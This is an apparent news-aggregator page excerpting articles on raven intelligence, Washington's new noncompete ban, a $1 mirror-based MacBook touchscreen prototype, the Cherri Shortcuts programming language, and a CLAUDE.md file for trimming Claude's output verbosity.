We de­fault to think­ing in­tel­li­gence scales with brain size, that it’s a mam­mal thing, that it cor­re­lates with be­ing higher” on some imag­i­nary evo­lu­tion­ary lad­der. Turns out it’s about neu­ron den­sity and ar­chi­tec­ture, not mass. A 10 gram raven brain run­ning 1.2 bil­lion neu­rons is do­ing more per gram than al­most any­thing else in na­ture.

Anyway. Next time some­one calls you a bird brain, just say thank you.

Disclaimer: Thoughts are my own and do not rep­re­sent any other par­ties.

Less than weekly. No noise — just the things I think are worth shar­ing.

You might also like

...

Read the original on dhanishsemar.com »

7 317 shares, 17 trendiness

New Washington law bans noncompete agreements

The mea­sure, spear­headed by state Rep. Liz Berry (D-Seattle), out­laws non­com­pete agree­ments: in gen­eral, con­tracts that let em­ploy­ers for­bid work­ers from cre­at­ing or join­ing a com­pet­ing busi­ness for a set amount of time.

Industries that uti­lize non­com­pete agree­ments, oth­er­wise known as re­stric­tive covenants, in­clude tech­nol­ogy, health care, fi­nance and sales. The law, signed Monday, takes ef­fect on June 30, 2027.

Washington state is stand­ing up for work­ers,” Berry said in a news re­lease pub­lished Wednesday. If you want to take a new job with bet­ter pay or leave to start your own com­pany, your old job should­n’t be able to block you from pur­su­ing your dream.”

On the ef­fec­tive date, re­stric­tive covenants will be un­en­force­able for all Washington-based work­ers and busi­nesses, ac­cord­ing to the new law. New non­com­pete agree­ments are il­le­gal. Employers must no­tify cur­rent and for­mer work­ers in writ­ing about any voided non­com­pete agree­ments by Oct. 1, 2027.

The mea­sure fur­thers a state law from 2019 that lim­ited non­com­pete agree­ments to em­ploy­ees who earned more than about $126,859 and con­trac­tors who made more than around $317,147, ac­cord­ing to the 2026 earn­ings thresh­olds posted by the Washington State Department of Labor and Industries.

The state’s lat­est ap­proach echoes a de­ci­sion made in 2024 un­der for­mer President Joe Biden’s ad­min­is­tra­tion to pro­hibit non­com­pete agree­ments across the U. S. However, the Federal Trade Commission rolled back the ban this year.

After the Non-Compete Rule was is­sued, sev­eral em­ploy­ers and trade groups filed law­suits chal­leng­ing it,” the agency wrote in a rule pub­lished in February. Federal dis­trict courts in three ju­ris­dic­tions is­sued opin­ions in law­suits chal­leng­ing the Non-Compete Rule.”

In Washington, the new in­junc­tion also clar­i­fies non­so­lic­i­ta­tion agree­ments, which bar for­mer work­ers from court­ing clients and co-work­ers at their past work­places.

Nonsolicitation agree­ments are not the same as non­com­pete agree­ments, and they are not pro­hib­ited. However, the de­f­i­n­i­tion of (the) non­so­lic­i­ta­tion agree­ment must be nar­rowly con­strued,” per the law.

Locally, at­tor­neys are pro­vid­ing guid­ance to work­places about the new mea­sure.

Washington now joins a small but grow­ing num­ber of states that have de­clared non-com­pe­ti­tion covenants void and un­en­force­able,” Alex Cates, se­nior coun­sel at law firm Holland and Knight, wrote in an ad­vi­sory Tuesday. This is a ma­jor change.”

States with full non­com­pete bans in­clude California, North Dakota, Minnesota and Oklahoma, per the Economic Innovation Group, a bi­par­ti­san pub­lic pol­icy or­ga­ni­za­tion.

...

Read the original on www.seattletimes.com »

8 306 shares, 21 trendiness

Turning a MacBook into a Touchscreen with $1 of Hardware

We turned a MacBook into a touch­screen us­ing only $1 of hard­ware and a lit­tle bit of com­puter vi­sion. The proof-of-con­cept, dubbed Project Sistine” af­ter our recre­ation of the fa­mous paint­ing in the Sistine Chapel, was pro­to­typed by me, Kevin, Guillermo, and Logan in about 16 hours.

The ba­sic prin­ci­ple be­hind Sistine is sim­ple. Surfaces viewed from an an­gle tend to look shiny, and you can tell if a fin­ger is touch­ing the sur­face by check­ing if it’s touch­ing its own re­flec­tion.

Kevin, back in mid­dle school, no­ticed this phe­nom­e­non and built ShinyTouch, uti­liz­ing an ex­ter­nal we­b­cam to build a touch in­put sys­tem re­quir­ing vir­tu­ally no setup. We wanted to see if we could minia­tur­ize the idea and make it work with­out an ex­ter­nal we­b­cam. Our idea was to retro­fit a small mir­ror in front of a MacBook’s built-in we­b­cam, so that the we­b­cam would be look­ing down at the com­puter screen at a sharp an­gle. The cam­era would be able to see fin­gers hov­er­ing over or touch­ing the screen, and we’d be able to trans­late the video feed into touch events us­ing com­puter vi­sion.

Our hard­ware setup was sim­ple. All we needed was to po­si­tion a mir­ror at the ap­pro­pri­ate an­gle in front of the we­b­cam. Here is our bill of ma­te­ri­als:

After some it­er­a­tion, we set­tled on a de­sign that could be as­sem­bled in min­utes us­ing a knife and a hot glue gun.

The first step in pro­cess­ing video frames is de­tect­ing the fin­ger. Here’s a typ­i­cal ex­am­ple of what the we­b­cam sees:

The fin­ger de­tec­tion al­go­rithm needs to find the touch/​hover point for fur­ther pro­cess­ing. Our cur­rent ap­proach uses clas­si­cal com­puter vi­sion tech­niques. The pro­cess­ing pipeline con­sists of the fol­low­ing steps:

Find the two largest con­tours and en­sure that the con­tours over­lap in the

hor­i­zon­tal di­rec­tion and the smaller one is above the larger one

Identify the touch/​hover point as the mid­point of the line con­nect­ing the

top of the bot­tom con­tour and the bot­tom of the top con­tour

Distinguish be­tween touch and hover based on the ver­ti­cal dis­tance be­tween

the two con­tours

Shown above is the re­sult of ap­ply­ing this process to a frame from the we­b­cam. The fin­ger and re­flec­tion (contours) are out­lined in green, the bound­ing box is shown in red, and the touch point is shown in ma­genta.

The fi­nal step in pro­cess­ing the in­put is map­ping the touch/​hover point from we­b­cam co­or­di­nates to on-screen co­or­di­nates. The two are re­lated by a

ho­mog­ra­phy. We com­pute the ho­mog­ra­phy ma­trix through a cal­i­bra­tion process where the user is prompted to touch spe­cific points on the screen. After we col­lect data match­ing we­b­cam co­or­di­nates with on-screen co­or­di­nates, we can es­ti­mate the ho­mog­ra­phy ro­bustly us­ing RANSAC. This gives us a pro­jec­tion ma­trix that maps we­b­cam co­or­di­nates to on-screen co­or­di­nates.

The video above demon­strates the cal­i­bra­tion process, where the user has to fol­low a green dot around the screen. The video in­cludes some de­bug in­for­ma­tion, over­laid on live video from the we­b­cam. The touch point in we­b­cam co­or­di­nates is shown in ma­genta. After the cal­i­bra­tion process is com­plete, the pro­jec­tion ma­trix is vi­su­al­ized with red lines, and the soft­ware switches to a mode where the es­ti­mated touch point is shown as a blue dot.

In the cur­rent pro­to­type, we trans­late hover and touch into mouse events, mak­ing ex­ist­ing ap­pli­ca­tions in­stantly touch-en­abled.

If we were writ­ing our own touch-en­abled apps, we could di­rectly make use of touch data, in­clud­ing in­for­ma­tion such as hover height.

Project Sistine is a proof-of-con­cept that turns a lap­top into a touch­screen us­ing only $1 of hard­ware, and for a pro­to­type, it works pretty well! With some sim­ple mod­i­fi­ca­tions such as a higher res­o­lu­tion we­b­cam (ours was 480p) and a curved mir­ror that al­lows the we­b­cam to cap­ture the en­tire screen, Sistine could be­come a prac­ti­cal low-cost touch­screen sys­tem.

Our Sistine pro­to­type is open source, re­leased un­der the MIT License.

...

Read the original on anishathalye.com »

9 302 shares, 17 trendiness

electrikmilk/cherri: Siri Shortcuts Programming Language 🍒

Cherri (pronounced cherry) is a Shortcuts pro­gram­ming lan­guage that com­piles di­rectly to a valid runnable Shortcut.

The pri­mary goal is to make it prac­ti­cal to cre­ate large Shortcut pro­jects (within the lim­i­ta­tions of Shortcuts) and main­tain them long term.

* 🎓 Easy to learn and syn­tax sim­i­lar to other lan­guages

* 🐞 1-1 trans­la­tion to Shortcut ac­tions as much as pos­si­ble to make de­bug­ging eas­ier

* 🥾 Half-bootstrapped: Most ac­tions and types are writ­ten in the lan­guage

* 📦 Package man­ager: Remote Git repo-based pack­age man­ager built in, al­low­ing for au­to­matic in­clu­sion and up­dates.

* 🪶 Optimized to cre­ate as small as pos­si­ble Shortcuts and re­duce mem­ory us­age at run­time

* #️⃣ Include files within oth­ers for large Shortcut pro­jects

* 🔄 Define func­tions to run within their own scope at the top of your Shortcut to re­duce du­pli­cate ac­tions.

* 🔀 Convert Shortcuts from an iCloud link with the –import= op­tion

* 🔏 Signs us­ing ma­cOS, falls back on HubSign or an­other server that uses scaxyz/​short­cut-sign­ing-server.

You can in­stall Cherri by down­load­ing the lat­est re­lease or via the Homebrew or Nix pack­age man­agers:

If you have Homebrew in­stalled, you can run:

brew tap elec­trik­milk/​cherri

brew in­stall elec­trik­milk/​cherri/​cherri

If you have Nix in­stalled, you can run:

nix pro­file in­stall github:elec­trik­milk/​cherri

Alternatively, you can use nix-direnv to get an iso­lated, ef­fort­less dev en­vi­ron­ment where cherri is avail­able based on which di­rec­tory you’re in. Then you would use_flake and add Cherri to flake.nix:

in­puts.cherri.url = github:electrikmilk/cherri”;

{ # out­puts.pack­ages.${sys­tem}.de­fault = pkgs.mk­Shell etc - omit­ted for brevity

build­In­puts = [

in­puts.cherri.pack­ages.${sys­tem}.cherri

Then run direnv al­low in the di­rec­tory with the flake.nix file.

cherri file.cherri

Run cherri with­out any ar­gu­ments to see all op­tions and us­age. For de­vel­op­ment, use the –debug (or -d) op­tion to print stack traces, de­bug in­for­ma­tion, and out­put a .plist file.

Some lan­guages have been aban­doned, don’t work well, or no longer work. I don’t want Shortcuts lan­guages to die. There should be more, not less.

Plus, some sta­bil­ity comes with this pro­ject be­ing on ma­cOS and not iOS, and I’m not aware of an­other Shortcuts lan­guage with ma­cOS as its plat­form other than Buttermilk.

The orig­i­nal Workflow app as­signed a code name to each re­lease. Cherri is named af­ter the sec­ond-to-last up­date Cherries” (also cherry is one of my fa­vorite fla­vors).

...

Read the original on github.com »

10 279 shares, 38 trendiness

cut Claude output tokens by 63%. Drop-in. No code changes.

One file. Drop it in your pro­ject. Cuts Claude out­put ver­bosity by ~63%. No code changes re­quired. Note: most Claude costs come from in­put to­kens, not out­put. This file tar­gets out­put be­hav­ior - syco­phancy, ver­bosity, for­mat­ting noise. It won’t fix your biggest bill but it will fix your most an­noy­ing re­sponses. Model sup­port: bench­marks were run on Claude only. The rules are model-ag­nos­tic and should work on any model that reads con­text - but re­sults on lo­cal mod­els like llama.cpp, Mistral, or oth­ers are untested. Community re­sults wel­come.

When you use Claude Code, every word Claude gen­er­ates costs to­kens. Most peo­ple never con­trol how Claude re­sponds - they just get what­ever the model de­cides to out­put.

* Opens every re­sponse with Sure!”, Great ques­tion!”, Absolutely!”

* Ends with I hope this helps! Let me know if you need any­thing!”

* Restates your ques­tion be­fore an­swer­ing it

* Adds un­so­licited sug­ges­tions be­yond what you asked

* Over-engineers code with ab­strac­tions you never re­quested

All of this wastes to­kens. None of it adds value.

Drop CLAUDE.md into your pro­ject root. Claude Code reads it au­to­mat­i­cally. Behavior changes im­me­di­ately.

This file works best for:

* Repeated struc­tured tasks where Claude’s de­fault ver­bosity com­pounds across hun­dreds of calls

* Teams who need con­sis­tent, parseable out­put for­mat across ses­sions

This file is not worth it for:

* Single short queries - the file loads into con­text on every mes­sage, so on low-out­put ex­changes it is a net to­ken in­crease

* Casual one-off use - the over­head does­n’t pay off at low vol­ume

* Fixing deep fail­ure modes like hal­lu­ci­nated im­ple­men­ta­tions or ar­chi­tec­tural drift - those re­quire hooks, gates, and me­chan­i­cal en­force­ment

* Pipelines us­ing mul­ti­ple fresh ses­sions per task - fresh ses­sions don’t carry the CLAUDE.md over­head ben­e­fit the same way per­sis­tent ses­sions do

* Parser re­li­a­bil­ity at scale - if you need guar­an­teed parseable out­put, use struc­tured out­puts (JSON mode, tool use with schemas) built into the API - that is a more ro­bust so­lu­tion than prompt-based for­mat­ting rules

* Exploratory or ar­chi­tec­tural work where de­bate, push­back, and al­ter­na­tives are the point - the over­ride rule lets you ask for that any time, but if that’s your pri­mary work­flow this file will feel re­stric­tive

The hon­est trade-off:

The CLAUDE.md file it­self con­sumes in­put to­kens on every mes­sage. The sav­ings come from re­duced out­put to­kens. The net is only pos­i­tive when out­put vol­ume is high enough to off­set the per­sis­tent in­put cost. At low us­age it costs more than it saves.

Same 5 prompts. Run with­out CLAUDE.md (baseline) then with CLAUDE.md (optimized).

~384 out­put to­kens saved per 4 prompts. Same in­for­ma­tion. Zero sig­nal loss.

Methodology note: This is a 5-prompt di­rec­tional in­di­ca­tor, not a sta­tis­ti­cally con­trolled study. Claude’s out­put length varies nat­u­rally be­tween iden­ti­cal prompts. No vari­ance con­trols or re­peated runs were ap­plied. Treat the 63% as a di­rec­tional sig­nal for out­put-heavy use cases, not a pre­cise uni­ver­sal mea­sure­ment. The CLAUDE.md file it­self adds in­put to­kens on every mes­sage - net sav­ings only ap­ply when out­put vol­ume is high enough to off­set that per­sis­tent cost.

Scope rules to your ac­tual fail­ure modes, not generic ones.

Generic rules like be con­cise” help but the real wins come from tar­get­ing spe­cific fail­ures you’ve ac­tu­ally hit. For ex­am­ple if Claude silently swal­lows er­rors in your pipeline, add a rule like: when a step fails, stop im­me­di­ately and re­port the full er­ror with trace­back be­fore at­tempt­ing any fix.” Specific beats generic every time.

CLAUDE.md files com­pose - use that.

Claude reads mul­ti­ple CLAUDE.md files at once - global (~/.claude/CLAUDE.md), pro­ject-level, and sub­di­rec­tory-level. This means:

* Keep gen­eral pref­er­ences (tone, for­mat, ASCII rules) in your global file

* Keep pro­ject-spe­cific con­straints (“never mod­ify /config with­out con­fir­ma­tion”) at the pro­ject level

This avoids bloat­ing any sin­gle file and keeps rules close to where they ap­ply.

Different pro­ject types need dif­fer­ent lev­els of com­pres­sion. Pick the base file + a pro­file, or use the base alone.

curl -o CLAUDE.md https://​raw.githubuser­con­tent.com/​dron­a23/​claude-to­ken-ef­fi­cient/​main/​CLAUDE.md

git clone https://​github.com/​dron­a23/​claude-to­ken-ef­fi­cient

cp claude-to­ken-ef­fi­cient/​pro­files/​CLAUDE.cod­ing.md your-pro­ject/​CLAUDE.md

Option 3 - Manual:

Copy the con­tents of CLAUDE.md from this repo into your pro­ject root.

User in­struc­tions al­ways win. If you ex­plic­itly ask for a de­tailed ex­pla­na­tion or ver­bose out­put, Claude will fol­low your in­struc­tion - the file never fights you.

Found a be­hav­ior that CLAUDE.md can fix? Open an is­sue with:

The an­noy­ing be­hav­ior (what Claude does by de­fault)

The prompt that trig­gers it

Community sub­mis­sions be­come part of the next ver­sion with full credit.

This pro­ject was built on real com­plaints from the Claude com­mu­nity. Full credit to every source that con­tributed a fix:

MIT - free to use, mod­ify, and dis­trib­ute.

Built by Drona Gangarapu - open to PRs, is­sues, and pro­file con­tri­bu­tions.

...

Read the original on github.com »

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

If you like 10HN please leave feedback and share

Visit pancik.com for more.